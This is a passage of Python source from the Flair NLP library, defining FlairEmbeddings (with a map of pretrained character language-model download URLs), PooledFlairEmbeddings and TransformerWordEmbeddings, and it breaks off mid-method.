max(chars2_length) tokens_mask = torch.zeros( (len(tokens_sorted_by_length), longest_token_in_sentence), dtype=torch.long, device=flair.device, ) for i, c in enumerate(tokens_sorted_by_length): tokens_mask[i, : chars2_length[i]] = torch.tensor( c, dtype=torch.long, device=flair.device ) # chars for rnn processing chars = tokens_mask character_embeddings = self.char_embedding(chars).transpose(0, 1) packed = torch.nn.utils.rnn.pack_padded_sequence( character_embeddings, chars2_length ) lstm_out, self.hidden = self.char_rnn(packed) outputs, output_lengths = torch.nn.utils.rnn.pad_packed_sequence(lstm_out) outputs = outputs.transpose(0, 1) chars_embeds_temp = torch.zeros( (outputs.size(0), outputs.size(2)), dtype=torch.float, device=flair.device, ) for i, index in enumerate(output_lengths): chars_embeds_temp[i] = outputs[i, index - 1] character_embeddings = chars_embeds_temp.clone() for i in range(character_embeddings.size(0)): character_embeddings[d[i]] = chars_embeds_temp[i] for token_number, token in enumerate(sentence.tokens): token.set_embedding(self.name, character_embeddings[token_number]) def __str__(self): return self.name class FlairEmbeddings(TokenEmbeddings): """Contextual string embeddings of words, as proposed in Akbik et al., 2018.""" def __init__(self, model, fine_tune: bool = False, chars_per_chunk: int = 512, with_whitespace: bool = True, tokenized_lm: bool = True, is_lower: bool = False, ): """ initializes contextual string embeddings using a character-level language model. :param model: model string, one of 'news-forward', 'news-backward', 'news-forward-fast', 'news-backward-fast', 'mix-forward', 'mix-backward', 'german-forward', 'german-backward', 'polish-backward', 'polish-forward', etc (see https://github.com/flairNLP/flair/blob/master/resources/docs/embeddings/FLAIR_EMBEDDINGS.md) depending on which character language model is desired. :param fine_tune: if set to True, the gradient will propagate into the language model. This dramatically slows down training and often leads to overfitting, so use with caution. :param chars_per_chunk: max number of chars per rnn pass to control speed/memory tradeoff. Higher means faster but requires more memory. Lower means slower but less memory. :param with_whitespace: If True, use hidden state after whitespace after word. If False, use hidden state at last character of word. :param tokenized_lm: Whether this lm is tokenized. Default is True, but for LMs trained over unprocessed text False might be better. """ super().__init__() self.instance_parameters = self.get_instance_parameters(locals=locals()) cache_dir = Path("embeddings") hu_path: str = "https://flair.informatik.hu-berlin.de/resources/embeddings/flair" clef_hipe_path: str = "https://files.ifi.uzh.ch/cl/siclemat/impresso/clef-hipe-2020/flair" self.is_lower: bool = is_lower self.PRETRAINED_MODEL_ARCHIVE_MAP = { # multilingual models "multi-forward": f"{hu_path}/lm-jw300-forward-v0.1.pt", "multi-backward": f"{hu_path}/lm-jw300-backward-v0.1.pt", "multi-v0-forward": f"{hu_path}/lm-multi-forward-v0.1.pt", "multi-v0-backward": f"{hu_path}/lm-multi-backward-v0.1.pt", "multi-forward-fast": f"{hu_path}/lm-multi-forward-fast-v0.1.pt", "multi-backward-fast": f"{hu_path}/lm-multi-backward-fast-v0.1.pt", # English models "en-forward": f"{hu_path}/news-forward-0.4.1.pt", "en-backward": f"{hu_path}/news-backward-0.4.1.pt", "en-forward-fast": f"{hu_path}/lm-news-english-forward-1024-v0.2rc.pt", "en-backward-fast": f"{hu_path}/lm-news-english-backward-1024-v0.2rc.pt", "news-forward": f"{hu_path}/news-forward-0.4.1.pt", "news-backward": f"{hu_path}/news-backward-0.4.1.pt", "news-forward-fast": f"{hu_path}/lm-news-english-forward-1024-v0.2rc.pt", "news-backward-fast": f"{hu_path}/lm-news-english-backward-1024-v0.2rc.pt", "mix-forward": f"{hu_path}/lm-mix-english-forward-v0.2rc.pt", "mix-backward": f"{hu_path}/lm-mix-english-backward-v0.2rc.pt", # Arabic "ar-forward": f"{hu_path}/lm-ar-opus-large-forward-v0.1.pt", "ar-backward": f"{hu_path}/lm-ar-opus-large-backward-v0.1.pt", # Bulgarian "bg-forward-fast": f"{hu_path}/lm-bg-small-forward-v0.1.pt", "bg-backward-fast": f"{hu_path}/lm-bg-small-backward-v0.1.pt", "bg-forward": f"{hu_path}/lm-bg-opus-large-forward-v0.1.pt", "bg-backward": f"{hu_path}/lm-bg-opus-large-backward-v0.1.pt", # Czech "cs-forward": f"{hu_path}/lm-cs-opus-large-forward-v0.1.pt", "cs-backward": f"{hu_path}/lm-cs-opus-large-backward-v0.1.pt", "cs-v0-forward": f"{hu_path}/lm-cs-large-forward-v0.1.pt", "cs-v0-backward": f"{hu_path}/lm-cs-large-backward-v0.1.pt", # Danish "da-forward": f"{hu_path}/lm-da-opus-large-forward-v0.1.pt", "da-backward": f"{hu_path}/lm-da-opus-large-backward-v0.1.pt", # German "de-forward": f"{hu_path}/lm-mix-german-forward-v0.2rc.pt", "de-backward": f"{hu_path}/lm-mix-german-backward-v0.2rc.pt", "de-historic-ha-forward": f"{hu_path}/lm-historic-hamburger-anzeiger-forward-v0.1.pt", "de-historic-ha-backward": f"{hu_path}/lm-historic-hamburger-anzeiger-backward-v0.1.pt", "de-historic-wz-forward": f"{hu_path}/lm-historic-wiener-zeitung-forward-v0.1.pt", "de-historic-wz-backward": f"{hu_path}/lm-historic-wiener-zeitung-backward-v0.1.pt", "de-historic-rw-forward": f"{hu_path}/redewiedergabe_lm_forward.pt", "de-historic-rw-backward": f"{hu_path}/redewiedergabe_lm_backward.pt", # Spanish "es-forward": f"{hu_path}/lm-es-forward.pt", "es-backward": f"{hu_path}/lm-es-backward.pt", "es-forward-fast": f"{hu_path}/lm-es-forward-fast.pt", "es-backward-fast": f"{hu_path}/lm-es-backward-fast.pt", # Basque "eu-forward": f"{hu_path}/lm-eu-opus-large-forward-v0.2.pt", "eu-backward": f"{hu_path}/lm-eu-opus-large-backward-v0.2.pt", "eu-v1-forward": f"{hu_path}/lm-eu-opus-large-forward-v0.1.pt", "eu-v1-backward": f"{hu_path}/lm-eu-opus-large-backward-v0.1.pt", "eu-v0-forward": f"{hu_path}/lm-eu-large-forward-v0.1.pt", "eu-v0-backward": f"{hu_path}/lm-eu-large-backward-v0.1.pt", # Persian "fa-forward": f"{hu_path}/lm-fa-opus-large-forward-v0.1.pt", "fa-backward": f"{hu_path}/lm-fa-opus-large-backward-v0.1.pt", # Finnish "fi-forward": f"{hu_path}/lm-fi-opus-large-forward-v0.1.pt", "fi-backward": f"{hu_path}/lm-fi-opus-large-backward-v0.1.pt", # French "fr-forward": f"{hu_path}/lm-fr-charlm-forward.pt", "fr-backward": f"{hu_path}/lm-fr-charlm-backward.pt", # Hebrew "he-forward": f"{hu_path}/lm-he-opus-large-forward-v0.1.pt", "he-backward": f"{hu_path}/lm-he-opus-large-backward-v0.1.pt", # Hindi "hi-forward": f"{hu_path}/lm-hi-opus-large-forward-v0.1.pt", "hi-backward": f"{hu_path}/lm-hi-opus-large-backward-v0.1.pt", # Croatian "hr-forward": f"{hu_path}/lm-hr-opus-large-forward-v0.1.pt", "hr-backward": f"{hu_path}/lm-hr-opus-large-backward-v0.1.pt", # Indonesian "id-forward": f"{hu_path}/lm-id-opus-large-forward-v0.1.pt", "id-backward": f"{hu_path}/lm-id-opus-large-backward-v0.1.pt", # Italian "it-forward": f"{hu_path}/lm-it-opus-large-forward-v0.1.pt", "it-backward": f"{hu_path}/lm-it-opus-large-backward-v0.1.pt", # Japanese "ja-forward": f"{hu_path}/japanese-forward.pt", "ja-backward": f"{hu_path}/japanese-backward.pt", # Malayalam "ml-forward": f"https://raw.githubusercontent.com/qburst/models-repository/master/FlairMalayalamModels/ml-forward.pt", "ml-backward": f"https://raw.githubusercontent.com/qburst/models-repository/master/FlairMalayalamModels/ml-backward.pt", # Dutch "nl-forward": f"{hu_path}/lm-nl-opus-large-forward-v0.1.pt", "nl-backward": f"{hu_path}/lm-nl-opus-large-backward-v0.1.pt", "nl-v0-forward": f"{hu_path}/lm-nl-large-forward-v0.1.pt", "nl-v0-backward": f"{hu_path}/lm-nl-large-backward-v0.1.pt", # Norwegian "no-forward": f"{hu_path}/lm-no-opus-large-forward-v0.1.pt", "no-backward": f"{hu_path}/lm-no-opus-large-backward-v0.1.pt", # Polish "pl-forward": f"{hu_path}/lm-polish-forward-v0.2.pt", "pl-backward": f"{hu_path}/lm-polish-backward-v0.2.pt", "pl-opus-forward": f"{hu_path}/lm-pl-opus-large-forward-v0.1.pt", "pl-opus-backward": f"{hu_path}/lm-pl-opus-large-backward-v0.1.pt", # Portuguese "pt-forward": f"{hu_path}/lm-pt-forward.pt", "pt-backward": f"{hu_path}/lm-pt-backward.pt", # Pubmed "pubmed-forward": f"{hu_path}/pubmed-forward.pt", "pubmed-backward": f"{hu_path}/pubmed-backward.pt", "pubmed-2015-forward": f"{hu_path}/pubmed-2015-fw-lm.pt", "pubmed-2015-backward": f"{hu_path}/pubmed-2015-bw-lm.pt", # Slovenian "sl-forward": f"{hu_path}/lm-sl-opus-large-forward-v0.1.pt", "sl-backward": f"{hu_path}/lm-sl-opus-large-backward-v0.1.pt", "sl-v0-forward": f"{hu_path}/lm-sl-large-forward-v0.1.pt", "sl-v0-backward": f"{hu_path}/lm-sl-large-backward-v0.1.pt", # Swedish "sv-forward": f"{hu_path}/lm-sv-opus-large-forward-v0.1.pt", "sv-backward": f"{hu_path}/lm-sv-opus-large-backward-v0.1.pt", "sv-v0-forward": f"{hu_path}/lm-sv-large-forward-v0.1.pt", "sv-v0-backward": f"{hu_path}/lm-sv-large-backward-v0.1.pt", # Tamil "ta-forward": f"{hu_path}/lm-ta-opus-large-forward-v0.1.pt", "ta-backward": f"{hu_path}/lm-ta-opus-large-backward-v0.1.pt", # Spanish clinical "es-clinical-forward": f"{hu_path}/es-clinical-forward.pt", "es-clinical-backward": f"{hu_path}/es-clinical-backward.pt", # CLEF HIPE Shared task "de-impresso-hipe-v1-forward": f"{clef_hipe_path}/de-hipe-flair-v1-forward/best-lm.pt", "de-impresso-hipe-v1-backward": f"{clef_hipe_path}/de-hipe-flair-v1-backward/best-lm.pt", "en-impresso-hipe-v1-forward": f"{clef_hipe_path}/en-flair-v1-forward/best-lm.pt", "en-impresso-hipe-v1-backward": f"{clef_hipe_path}/en-flair-v1-backward/best-lm.pt", "fr-impresso-hipe-v1-forward": f"{clef_hipe_path}/fr-hipe-flair-v1-forward/best-lm.pt", "fr-impresso-hipe-v1-backward": f"{clef_hipe_path}/fr-hipe-flair-v1-backward/best-lm.pt", } if type(model) == str: # load model if in pretrained model map if model.lower() in self.PRETRAINED_MODEL_ARCHIVE_MAP: base_path = self.PRETRAINED_MODEL_ARCHIVE_MAP[model.lower()] # Fix for CLEF HIPE models (avoid overwriting best-lm.pt in cache_dir) if "impresso-hipe" in model.lower(): cache_dir = cache_dir / model.lower() # CLEF HIPE models are lowercased self.is_lower = True model = cached_path(base_path, cache_dir=cache_dir) elif replace_with_language_code(model) in self.PRETRAINED_MODEL_ARCHIVE_MAP: base_path = self.PRETRAINED_MODEL_ARCHIVE_MAP[ replace_with_language_code(model) ] model = cached_path(base_path, cache_dir=cache_dir) elif not Path(model).exists(): raise ValueError( f'The given model "{model}" is not available or is not a valid path.' ) from flair.models import LanguageModel if type(model) == LanguageModel: self.lm: LanguageModel = model self.name = f"Task-LSTM-{self.lm.hidden_size}-{self.lm.nlayers}-{self.lm.is_forward_lm}" else: self.lm: LanguageModel = LanguageModel.load_language_model(model) self.name = str(model) # embeddings are static if we don't do finetuning self.fine_tune = fine_tune self.static_embeddings = not fine_tune self.is_forward_lm: bool = self.lm.is_forward_lm self.with_whitespace: bool = with_whitespace self.tokenized_lm: bool = tokenized_lm self.chars_per_chunk: int = chars_per_chunk # embed a dummy sentence to determine embedding_length dummy_sentence: Sentence = Sentence() dummy_sentence.add_token(Token("hello")) embedded_dummy = self.embed(dummy_sentence) self.__embedding_length: int = len( embedded_dummy[0].get_token(1).get_embedding() ) # set to eval mode self.eval() def train(self, mode=True): # make compatible with serialized models (TODO: remove) if "fine_tune" not in self.__dict__: self.fine_tune = False if "chars_per_chunk" not in self.__dict__: self.chars_per_chunk = 512 # unless fine-tuning is set, do not set language model to train() in order to disallow language model dropout if not self.fine_tune: pass else: super(FlairEmbeddings, self).train(mode) @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: # make compatible with serialized models (TODO: remove) if "with_whitespace" not in self.__dict__: self.with_whitespace = True if "tokenized_lm" not in self.__dict__: self.tokenized_lm = True if "is_lower" not in self.__dict__: self.is_lower = False # gradients are enable if fine-tuning is enabled gradient_context = torch.enable_grad() if self.fine_tune else torch.no_grad() with gradient_context: # if this is not possible, use LM to generate embedding. First, get text sentences text_sentences = [sentence.to_tokenized_string() for sentence in sentences] if self.tokenized_lm \ else [sentence.to_plain_string() for sentence in sentences] if self.is_lower: text_sentences = [sentence.lower() for sentence in text_sentences] start_marker = self.lm.document_delimiter if "document_delimiter" in self.lm.__dict__ else '\n' end_marker = " " # get hidden states from language model all_hidden_states_in_lm = self.lm.get_representation( text_sentences, start_marker, end_marker, self.chars_per_chunk ) if not self.fine_tune: all_hidden_states_in_lm = all_hidden_states_in_lm.detach() # take first or last hidden states from language model as word representation for i, sentence in enumerate(sentences): sentence_text = sentence.to_tokenized_string() if self.tokenized_lm else sentence.to_plain_string() offset_forward: int = len(start_marker) offset_backward: int = len(sentence_text) + len(start_marker) for token in sentence.tokens: offset_forward += len(token.text) if self.is_forward_lm: offset_with_whitespace = offset_forward offset_without_whitespace = offset_forward - 1 else: offset_with_whitespace = offset_backward offset_without_whitespace = offset_backward - 1 # offset mode that extracts at whitespace after last character if self.with_whitespace: embedding = all_hidden_states_in_lm[offset_with_whitespace, i, :] # offset mode that extracts at last character else: embedding = all_hidden_states_in_lm[offset_without_whitespace, i, :] if self.tokenized_lm or token.whitespace_after: offset_forward += 1 offset_backward -= 1 offset_backward -= len(token.text) # only clone if optimization mode is 'gpu' if flair.embedding_storage_mode == "gpu": embedding = embedding.clone() token.set_embedding(self.name, embedding) del all_hidden_states_in_lm return sentences def __str__(self): return self.name class PooledFlairEmbeddings(TokenEmbeddings): def __init__( self, contextual_embeddings: Union[str, FlairEmbeddings], pooling: str = "min", only_capitalized: bool = False, **kwargs, ): super().__init__() self.instance_parameters = self.get_instance_parameters(locals=locals()) # use the character language model embeddings as basis if type(contextual_embeddings) is str: self.context_embeddings: FlairEmbeddings = FlairEmbeddings( contextual_embeddings, **kwargs ) else: self.context_embeddings: FlairEmbeddings = contextual_embeddings # length is twice the original character LM embedding length self.embedding_length = self.context_embeddings.embedding_length * 2 self.name = self.context_embeddings.name + "-context" # these fields are for the embedding memory self.word_embeddings = {} self.word_count = {} # whether to add only capitalized words to memory (faster runtime and lower memory consumption) self.only_capitalized = only_capitalized # we re-compute embeddings dynamically at each epoch self.static_embeddings = False # set the memory method self.pooling = pooling def train(self, mode=True): super().train(mode=mode) if mode: # memory is wiped each time we do a training run print("train mode resetting embeddings") self.word_embeddings = {} self.word_count = {} def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: self.context_embeddings.embed(sentences) # if we keep a pooling, it needs to be updated continuously for sentence in sentences: for token in sentence.tokens: # update embedding local_embedding = token._embeddings[self.context_embeddings.name].cpu() # check token.text is empty or not if token.text: if token.text[0].isupper() or not self.only_capitalized: if token.text not in self.word_embeddings: self.word_embeddings[token.text] = local_embedding self.word_count[token.text] = 1 else: # set aggregation operation if self.pooling == "mean": aggregated_embedding = torch.add(self.word_embeddings[token.text], local_embedding) elif self.pooling == "fade": aggregated_embedding = torch.add(self.word_embeddings[token.text], local_embedding) aggregated_embedding /= 2 elif self.pooling == "max": aggregated_embedding = torch.max(self.word_embeddings[token.text], local_embedding) elif self.pooling == "min": aggregated_embedding = torch.min(self.word_embeddings[token.text], local_embedding) self.word_embeddings[token.text] = aggregated_embedding self.word_count[token.text] += 1 # add embeddings after updating for sentence in sentences: for token in sentence.tokens: if token.text in self.word_embeddings: base = ( self.word_embeddings[token.text] / self.word_count[token.text] if self.pooling == "mean" else self.word_embeddings[token.text] ) else: base = token._embeddings[self.context_embeddings.name] token.set_embedding(self.name, base) return sentences def embedding_length(self) -> int: return self.embedding_length def get_names(self) -> List[str]: return [self.name, self.context_embeddings.name] def __setstate__(self, d): self.__dict__ = d if flair.device != 'cpu': for key in self.word_embeddings: self.word_embeddings[key] = self.word_embeddings[key].cpu() class TransformerWordEmbeddings(TokenEmbeddings): NO_MAX_SEQ_LENGTH_MODELS = [XLNetModel, TransfoXLModel] def __init__( self, model: str = "bert-base-uncased", layers: str = "all", subtoken_pooling: str = "first", layer_mean: bool = True, fine_tune: bool = False, allow_long_sentences: bool = True, use_context: Union[bool, int] = False, memory_effective_training: bool = True, respect_document_boundaries: bool = True, context_dropout: float = 0.5, **kwargs ): """ Bidirectional transformer embeddings of words from various transformer architectures. :param model: name of transformer model (see https://huggingface.co/transformers/pretrained_models.html for options) :param layers: string indicating which layers to take for embedding (-1 is topmost layer) :param subtoken_pooling: how to get from token piece embeddings to token embedding. Either take the first subtoken ('first'), the last subtoken ('last'), both first and last ('first_last') or a mean over all ('mean') :param layer_mean: If True, uses a scalar mix of layers as embedding :param fine_tune: If True, allows transformers to be fine-tuned during training """ super().__init__() self.instance_parameters = self.get_instance_parameters(locals=locals()) # temporary fix to disable tokenizer parallelism warning # (see https://stackoverflow.com/questions/62691279/how-to-disable-tokenizers-parallelism-true-false-warning) import os os.environ["TOKENIZERS_PARALLELISM"] = "false" # do not print transformer warnings as these are confusing in this case from transformers import logging logging.set_verbosity_error() # load tokenizer and transformer model self.tokenizer: PreTrainedTokenizer = AutoTokenizer.from_pretrained(model, **kwargs) if not 'config' in kwargs: config = AutoConfig.from_pretrained(model, output_hidden_states=True, **kwargs) self.model = AutoModel.from_pretrained(model, config=config) else: self.model = AutoModel.from_pretrained(None, **kwargs) logging.set_verbosity_warning() if type(self.model) not in self.NO_MAX_SEQ_LENGTH_MODELS: self.allow_long_sentences = allow_long_sentences self.truncate = True self.max_subtokens_sequence_length = self.tokenizer.model_max_length self.stride = self.tokenizer.model_max_length // 2 if allow_long_sentences else 0 else: # in the end, these models don't need this configuration self.allow_long_sentences = False self.truncate = False self.max_subtokens_sequence_length = None self.stride = 0 self.use_lang_emb = hasattr(self.model, "use_lang_emb") and self.model.use_lang_emb # model name self.name = 'transformer-word-' + str(model) self.base_model = str(model) # whether to detach gradients on overlong sentences self.memory_effective_training = memory_effective_training # store whether to use context (and how much) if type(use_context) == bool: self.context_length: int = 64 if use_context else 0 if type(use_context) == int: self.context_length: int = use_context # dropout contexts self.context_dropout = context_dropout # if using context, can we cross document boundaries? self.respect_document_boundaries = respect_document_boundaries # send self to flair-device self.to(flair.device) # embedding parameters if layers == 'all': # send mini-token through to check how many layers the model has hidden_states = self.model(torch.tensor([1], device=flair.device).unsqueeze(0))[-1] self.layer_indexes = [int(x) for x in range(len(hidden_states))] else: self.layer_indexes = [int(x) for x in layers.split(",")] self.pooling_operation = subtoken_pooling self.layer_mean = layer_mean self.fine_tune = fine_tune self.static_embeddings = not self.fine_tune # calculate embedding length if not self.layer_mean: length = len(self.layer_indexes) * self.model.config.hidden_size else: length = self.model.config.hidden_size if self.pooling_operation == 'first_last': length *= 2 # return length self.embedding_length_internal = length self.special_tokens = [] # check if special tokens exist to circumvent error message if self.tokenizer._bos_token: self.special_tokens.append(self.tokenizer.bos_token) if self.tokenizer._cls_token: self.special_tokens.append(self.tokenizer.cls_token) # most models have an intial BOS token, except for XLNet, T5 and GPT2 self.begin_offset = self._get_begin_offset_of_tokenizer(tokenizer=self.tokenizer) # when initializing, embeddings are in eval mode by default self.eval() @staticmethod def _get_begin_offset_of_tokenizer(tokenizer: PreTrainedTokenizer) -> int: test_string = 'a' tokens = tokenizer.encode(test_string) for begin_offset, token in enumerate(tokens): if tokenizer.decode([token]) == test_string or tokenizer.decode([token]) == tokenizer.unk_token: break return begin_offset @staticmethod def _remove_special_markup(text: str): # remove special markup text = re.sub('^Ġ', '', text) # RoBERTa models text = re.sub('^##', '', text) # BERT models text = re.sub('^▁', '', text) # XLNet models text = re.sub('</w>$', '', text) # XLM models return text def _get_processed_token_text(self, token: Token) -> str: pieces = self.tokenizer.tokenize(token.text) token_text = '' for piece in pieces: token_text += self._remove_special_markup(piece) token_text = token_text.lower() return token_text def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: # we require encoded subtokenized sentences, the mapping to original tokens and the number of # parts that each sentence produces subtokenized_sentences = [] all_token_subtoken_lengths = [] # if we also use context, first expand sentence to include context if self.context_length > 0: # set context if not set already previous_sentence = None for sentence in sentences: if sentence.is_context_set(): continue sentence._previous_sentence = previous_sentence sentence._next_sentence = None if previous_sentence: previous_sentence._next_sentence = sentence previous_sentence = sentence original_sentences = [] expanded_sentences = [] context_offsets = [] for sentence in sentences: # in case of contextualization, we must remember non-expanded sentence original_sentence = sentence original_sentences.append(original_sentence) # create expanded sentence and remember context offsets expanded_sentence, context_offset = self._expand_sentence_with_context(sentence) expanded_sentences.append(expanded_sentence) context_offsets.append(context_offset) # overwrite sentence with expanded sentence sentence = expanded_sentence sentences = expanded_sentences tokenized_sentences = [] for sentence in sentences: # subtokenize the sentence tokenized_string = sentence.to_tokenized_string() # transformer specific tokenization subtokenized_sentence = self.tokenizer.tokenize(tokenized_string) # set zero embeddings for empty sentences and exclude if len(subtokenized_sentence) == 0: for token in sentence: token.set_embedding(self.name, torch.zeros(self.embedding_length)) continue # determine into how many subtokens each token is split token_subtoken_lengths = self.reconstruct_tokens_from_subtokens(sentence, subtokenized_sentence) # remember tokenized sentences and their subtokenization tokenized_sentences.append(tokenized_string) all_token_subtoken_lengths.append(token_subtoken_lengths) # encode inputs batch_encoding = self.tokenizer(tokenized_sentences, max_length=self.max_subtokens_sequence_length, stride=self.stride, return_overflowing_tokens=self.allow_long_sentences, truncation=self.truncate, padding=True, return_tensors='pt', ) model_kwargs = {} input_ids = batch_encoding['input_ids'].to(flair.device) # Models such as FNet do not have an attention_mask if 'attention_mask' in batch_encoding: model_kwargs['attention_mask'] = batch_encoding['attention_mask'].to(flair.device) # determine which sentence was split into how many parts sentence_parts_lengths = torch.ones(len(tokenized_sentences), dtype=torch.int) if not self.allow_long_sentences \ else torch.unique(batch_encoding['overflow_to_sample_mapping'], return_counts=True, sorted=True)[1].tolist() # set language IDs for XLM-style transformers if self.use_lang_emb: model_kwargs["langs"] = torch.zeros_like(input_ids, dtype=input_ids.dtype) for s_id, sentence in enumerate(tokenized_sentences): sequence_length = len(sentence) lang_id = self.tokenizer.lang2id.get(sentences[s_id].get_language_code(), 0) model_kwargs["langs"][s_id][:sequence_length] = lang_id # put encoded batch through transformer model to get all hidden states of all encoder layers hidden_states = self.model(input_ids, **model_kwargs)[-1] # make the tuple a tensor; makes working with it easier. hidden_states = torch.stack(hidden_states) sentence_idx_offset = 0 # gradients are enabled if fine-tuning is enabled gradient_context = torch.enable_grad() if (self.fine_tune and self.training) else torch.no_grad() with gradient_context: # iterate over all subtokenized sentences for sentence_idx, (sentence, subtoken_lengths, nr_sentence_parts) in enumerate( zip(sentences, all_token_subtoken_lengths, sentence_parts_lengths)): sentence_hidden_state = hidden_states[:, sentence_idx + sentence_idx_offset, ...] for i in range(1, nr_sentence_parts): sentence_idx_offset += 1 remainder_sentence_hidden_state = hidden_states[:, sentence_idx + sentence_idx_offset, ...] # remove stride_size//2 at end of sentence_hidden_state, and half at beginning of remainder, # in order to get some context into the embeddings of these words. # also don't include the embedding of the extra [CLS] and [SEP] tokens. sentence_hidden_state = torch.cat((sentence_hidden_state[:, :-1 - self.stride // 2, :], remainder_sentence_hidden_state[:, 1 + self.stride // 2:, :]), 1) subword_start_idx = self.begin_offset # for each token, get embedding for token_idx, (token, number_of_subtokens) in enumerate(zip(sentence, subtoken_lengths)): # some tokens have no subtokens at all (if omitted by BERT tokenizer) so return zero vector if number_of_subtokens == 0: token.set_embedding(self.name, torch.zeros(self.embedding_length)) continue subword_end_idx = subword_start_idx + number_of_subtokens subtoken_embeddings: List[torch.FloatTensor] = [] # get states from all selected layers, aggregate with pooling operation for layer in self.layer_indexes: current_embeddings = sentence_hidden_state[layer][subword_start_idx:subword_end_idx] if self.pooling_operation == "first": final_embedding: torch.FloatTensor = current_embeddings[0] if self.pooling_operation == "last": final_embedding: torch.FloatTensor = current_embeddings[-1] if self.pooling_operation == "first_last": final_embedding: torch.Tensor = torch.cat( [current_embeddings[0], current_embeddings[-1]]) if self.pooling_operation == "mean": all_embeddings: List[torch.FloatTensor] = [ embedding.unsqueeze(0) for embedding in current_embeddings ] final_embedding: torch.Tensor = torch.mean(torch.cat(all_embeddings, dim=0), dim=0) subtoken_embeddings.append(final_embedding) # use layer mean of embeddings if so selected if self.layer_mean and len(self.layer_indexes) > 1: sm_embeddings = torch.mean(torch.stack(subtoken_embeddings, dim=1), dim=1) subtoken_embeddings = [sm_embeddings] # set the extracted embedding for the token token.set_embedding(self.name, torch.cat(subtoken_embeddings)) subword_start_idx += number_of_subtokens # move embeddings from context back to original sentence (if using context) if self.context_length > 0: for original_sentence, expanded_sentence, context_offset in zip(original_sentences, sentences, context_offsets): for token_idx, token in enumerate(original_sentence): token.set_embedding(self.name, expanded_sentence[token_idx + context_offset].get_embedding(self.name)) sentence = original_sentence def _expand_sentence_with_context(self, sentence): # remember original sentence original_sentence = sentence import random expand_context = False if self.training and random.randint(1, 100) <= (self.context_dropout * 100) else True left_context = '' right_context = '' if expand_context: # get left context while True: sentence = sentence.previous_sentence() if sentence is None: break if self.respect_document_boundaries and sentence.is_document_boundary: break left_context = sentence.to_tokenized_string() + ' ' + left_context left_context = left_context.strip() if len(left_context.split(" ")) > self.context_length: left_context = " ".join(left_context.split(" ")[-self.context_length:]) break original_sentence.left_context = left_context sentence = original_sentence # get right context while True: sentence = sentence.next_sentence() if sentence is None: break if self.respect_document_boundaries and sentence.is_document_boundary: break right_context += ' ' + sentence.to_tokenized_string() right_context = right_context.strip() if len(right_context.split(" ")) > self.context_length: right_context = " ".join(right_context.split(" ")[:self.context_length]) break original_sentence.right_context = right_context left_context_split = left_context.split(" ") right_context_split = right_context.split(" ") # empty contexts should not introduce whitespace tokens if left_context_split == [""]: left_context_split = [] if right_context_split == [""]: right_context_split = [] # make expanded sentence expanded_sentence = Sentence() expanded_sentence.tokens = [Token(token) for token in left_context_split + original_sentence.to_tokenized_string().split(" ") + right_context_split] context_length = len(left_context_split) return expanded_sentence, context_length def reconstruct_tokens_from_subtokens(self, sentence, subtokens): word_iterator = iter(sentence) token = next(word_iterator) token_text = self._get_processed_token_text(token) token_subtoken_lengths = [] reconstructed_token = '' subtoken_count = 0 # iterate over subtokens and reconstruct tokens for subtoken_id, subtoken in enumerate(subtokens): # remove special markup subtoken = self._remove_special_markup(subtoken) # TODO check if this is necessary is this method is called before prepare_for_model # check if reconstructed token is special begin token ([CLS] or similar) if subtoken in self.special_tokens and subtoken_id == 0: continue # some BERT tokenizers somehow omit words - in such cases skip to next token if subtoken_count == 0 and not token_text.startswith(subtoken.lower()): while True: token_subtoken_lengths.append(0) token = next(word_iterator) token_text = self._get_processed_token_text(token) if token_text.startswith(subtoken.lower()): break subtoken_count += 1 # append subtoken to reconstruct token reconstructed_token = reconstructed_token + subtoken # check if reconstructed token is the same as current token if reconstructed_token.lower() == token_text: # if so, add subtoken count token_subtoken_lengths.append(subtoken_count) # reset subtoken count and reconstructed token reconstructed_token = '' subtoken_count = 0 # break from loop if all tokens are accounted for if len(token_subtoken_lengths) < len(sentence): token = next(word_iterator) token_text = self._get_processed_token_text(token) else: break # if tokens are unaccounted for while len(token_subtoken_lengths) < len(sentence) and len(token.text) == 1: token_subtoken_lengths.append(0) if len(token_subtoken_lengths) == len(sentence): break token = next(word_iterator) # check if all tokens were matched to subtokens if token != sentence[-1]: log.error(f"Tokenization MISMATCH in sentence '{sentence.to_tokenized_string()}'") log.error(f"Last matched: '{token}'") log.error(f"Last sentence: '{sentence[-1]}'") log.error(f"subtokenized: '{subtokens}'") return token_subtoken_lengths @property def embedding_length(self) -> int: if "embedding_length_internal" in self.__dict__.keys(): return self.embedding_length_internal # """Returns the length of the embedding vector.""" if not self.layer_mean: length = len(self.layer_indexes) * self.model.config.hidden_size else: length = self.model.config.hidden_size if self.pooling_operation == 'first_last': length *= 2 self.__embedding_length = length return length def __getstate__(self): # special handling for serializing transformer models config_state_dict = self.model.config.__dict__ model_state_dict = self.model.state_dict() if not hasattr(self, "base_model_name"): self.base_model_name = self.name.split('transformer-word-')[-1] # serialize the transformer models and the constructor arguments (but nothing else) model_state = { "config_state_dict": config_state_dict, "model_state_dict": model_state_dict, "embedding_length_internal": self.embedding_length, "base_model_name": self.base_model_name, "name": self.name, "layer_indexes": self.layer_indexes, "subtoken_pooling": self.pooling_operation, "context_length": self.context_length, "layer_mean": self.layer_mean, "fine_tune": self.fine_tune, "allow_long_sentences": self.allow_long_sentences, "memory_effective_training": self.memory_effective_training, "respect_document_boundaries": self.respect_document_boundaries, "context_dropout": self.context_dropout, } return model_state def __setstate__(self, d): self.__dict__ = d # necessary for reverse compatibility with Flair <= 0.7 if 'use_scalar_mix' in self.__dict__.keys(): self.__dict__['layer_mean'] = d['use_scalar_mix'] if not 'memory_effective_training' in self.__dict__.keys(): self.__dict__['memory_effective_training'] = True if 'pooling_operation' in self.__dict__.keys(): self.__dict__['subtoken_pooling'] = d['pooling_operation'] if not 'context_length' in self.__dict__.keys(): self.__dict__['context_length'] = 0 if 'use_context' in self.__dict__.keys(): self.__dict__['context_length'] = 64 if self.__dict__['use_context'] == True else 0 if not 'context_dropout' in self.__dict__.keys(): self.__dict__['context_dropout'] = 0.5 if not 'respect_document_boundaries' in self.__dict__.keys(): self.__dict__['respect_document_boundaries'] = True if not 'memory_effective_training' in self.__dict__.keys(): self.__dict__['memory_effective_training'] = True if not 'base_model_name' in self.__dict__.keys(): self.__dict__['base_model_name'] = self.__dict__['name'].split('transformer-word-')[-1] # special handling for deserializing transformer models 